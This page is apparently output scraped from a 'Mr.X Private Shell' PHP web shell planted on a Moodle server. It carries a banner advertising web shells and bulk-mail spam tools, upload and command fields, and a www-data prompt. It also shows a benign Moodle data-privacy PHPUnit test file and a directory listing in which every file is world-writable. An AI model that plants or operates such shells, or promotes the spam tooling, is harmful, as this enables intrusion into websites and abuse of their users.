__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
<?php
// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.

namespace tool_dataprivacy;

use data_privacy_testcase;

defined('MOODLE_INTERNAL') || die();
require_once('data_privacy_testcase.php');

/**
 * Tests for the data_request persistent.
 *
 * @package    tool_dataprivacy
 * @copyright  2018 Andrew Nicols <andrew@nicols.co.uk>
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
final class data_request_test extends data_privacy_testcase {

    /**
     * Data provider for testing is_resettable, and is_active.
     *
     * @return  array
     */
    public static function status_state_provider(): array {
        return [
            [
                'state' => api::DATAREQUEST_STATUS_PENDING,
                'resettable' => false,
                'active' => false,
            ],
            [
                'state' => api::DATAREQUEST_STATUS_AWAITING_APPROVAL,
                'resettable' => false,
                'active' => false,
            ],
            [
                'state' => api::DATAREQUEST_STATUS_APPROVED,
                'resettable' => true,
                'active' => true,
            ],
            [
                'state' => api::DATAREQUEST_STATUS_PROCESSING,
                'resettable' => false,
                'active' => false,
            ],
            [
                'state' => api::DATAREQUEST_STATUS_COMPLETE,
                'resettable' => false,
                'active' => false,
            ],
            [
                'state' => api::DATAREQUEST_STATUS_CANCELLED,
                'resettable' => false,
                'active' => false,
            ],
            [
                'state' => api::DATAREQUEST_STATUS_REJECTED,
                'resettable' => true,
                'active' => false,
            ],
            [
                'state' => api::DATAREQUEST_STATUS_DOWNLOAD_READY,
                'resettable' => false,
                'active' => false,
            ],
            [
                'state' => api::DATAREQUEST_STATUS_EXPIRED,
                'resettable' => false,
                'active' => false,
            ],
        ];
    }

    /**
     * Test the pseudo states of a data request with an export request.
     *
     * @dataProvider        status_state_provider
     * @param       int     $status
     * @param       bool    $resettable
     * @param       bool    $active
     */
    public function test_pseudo_states_export(int $status, bool $resettable, bool $active): void {
        $uut = new \tool_dataprivacy\data_request();
        $uut->set('status', $status);
        $uut->set('type', api::DATAREQUEST_TYPE_EXPORT);

        $this->assertEquals($resettable, $uut->is_resettable());
        $this->assertEquals($active, $uut->is_active());
    }

    /**
     * Test the pseudo states of a data request with a delete request.
     *
     * @dataProvider        status_state_provider
     * @param       int     $status
     * @param       bool    $resettable
     * @param       bool    $active
     */
    public function test_pseudo_states_delete(int $status, bool $resettable, bool $active): void {
        $uut = new \tool_dataprivacy\data_request();
        $uut->set('status', $status);
        $uut->set('type', api::DATAREQUEST_TYPE_DELETE);

        $this->assertEquals($resettable, $uut->is_resettable());
        $this->assertEquals($active, $uut->is_active());
    }

    /**
     * Test the pseudo states of a data request.
     *
     * @dataProvider        status_state_provider
     * @param       int     $status
     */
    public function test_can_reset_others($status): void {
        $uut = new \tool_dataprivacy\data_request();
        $uut->set('status', $status);
        $uut->set('type', api::DATAREQUEST_TYPE_OTHERS);

        $this->assertFalse($uut->is_resettable());
    }

    /**
     * Data provider for states which are not resettable.
     *
     * @return      array
     */
    public static function non_resettable_provider(): array {
        $states = [];
        foreach (self::status_state_provider() as $thisstatus) {
            if (!$thisstatus['resettable']) {
                $states[] = $thisstatus;
            }
        }

        return $states;
    }

    /**
     * Ensure that requests which are not resettable cause an exception to be thrown.
     *
     * @dataProvider        non_resettable_provider
     * @param       int     $status
     */
    public function test_non_resubmit_request($status): void {
        $uut = new \tool_dataprivacy\data_request();
        $uut->set('status', $status);

        $this->expectException(\moodle_exception::class);
        $this->expectExceptionMessage(get_string('cannotreset', 'tool_dataprivacy'));

        $uut->resubmit_request();
    }

    /**
     * Ensure that a rejected request can be reset.
     */
    public function test_resubmit_request(): void {
        $this->resetAfterTest();

        $uut = new \tool_dataprivacy\data_request();
        $uut->set('status', api::DATAREQUEST_STATUS_REJECTED);
        $uut->set('type', api::DATAREQUEST_TYPE_DELETE);
        $uut->set('comments', 'Foo');
        $uut->set('requestedby', 42);
        $uut->set('dpo', 98);

        $newrequest = $uut->resubmit_request();

        $this->assertEquals('Foo', $newrequest->get('comments'));
        $this->assertEquals(42, $newrequest->get('requestedby'));
        $this->assertEquals(98, $newrequest->get('dpo'));
        $this->assertEquals(api::DATAREQUEST_STATUS_AWAITING_APPROVAL, $newrequest->get('status'));
        $this->assertEquals(api::DATAREQUEST_TYPE_DELETE, $newrequest->get('type'));

        $this->assertEquals(api::DATAREQUEST_STATUS_REJECTED, $uut->get('status'));
    }

    /**
     * Ensure that an active request can be reset.
     */
    public function test_resubmit_active_request(): void {
        $this->resetAfterTest();

        $uut = new \tool_dataprivacy\data_request();
        $uut->set('status', api::DATAREQUEST_STATUS_APPROVED);
        $uut->set('type', api::DATAREQUEST_TYPE_DELETE);
        $uut->set('comments', 'Foo');
        $uut->set('requestedby', 42);
        $uut->set('dpo', 98);

        $newrequest = $uut->resubmit_request();

        $this->assertEquals('Foo', $newrequest->get('comments'));
        $this->assertEquals(42, $newrequest->get('requestedby'));
        $this->assertEquals(98, $newrequest->get('dpo'));
        $this->assertEquals(api::DATAREQUEST_STATUS_AWAITING_APPROVAL, $newrequest->get('status'));
        $this->assertEquals(api::DATAREQUEST_TYPE_DELETE, $newrequest->get('type'));

        $this->assertEquals(api::DATAREQUEST_STATUS_REJECTED, $uut->get('status'));
    }

    /**
     * Create a data request for the user.
     *
     * @param   int     $userid
     * @param   int     $type
     * @param   int     $status
     * @return  data_request
     */
    public function create_request_for_user_with_status(int $userid, int $type, int $status): data_request {
        $request = new data_request(0, (object) [
                'userid' => $userid,
                'type' => $type,
                'status' => $status,
            ]);

        $request->save();

        return $request;
    }
}

Filemanager

Name Type Size Permission Actions
behat Folder 0777
external Folder 0777
generator Folder 0777
privacy Folder 0777
task Folder 0777
api_test.php File 126.68 KB 0777
data_privacy_testcase.php File 2.15 KB 0777
data_registry_test.php File 1.91 KB 0777
data_request_test.php File 7.68 KB 0777
expired_contexts_test.php File 110.07 KB 0777
expired_data_requests_test.php File 8.63 KB 0777
filtered_userlist_test.php File 3.45 KB 0777
manager_observer_test.php File 3.14 KB 0777
metadata_registry_test.php File 3.62 KB 0777
user_deleted_observer_test.php File 8.55 KB 0777
Filemanager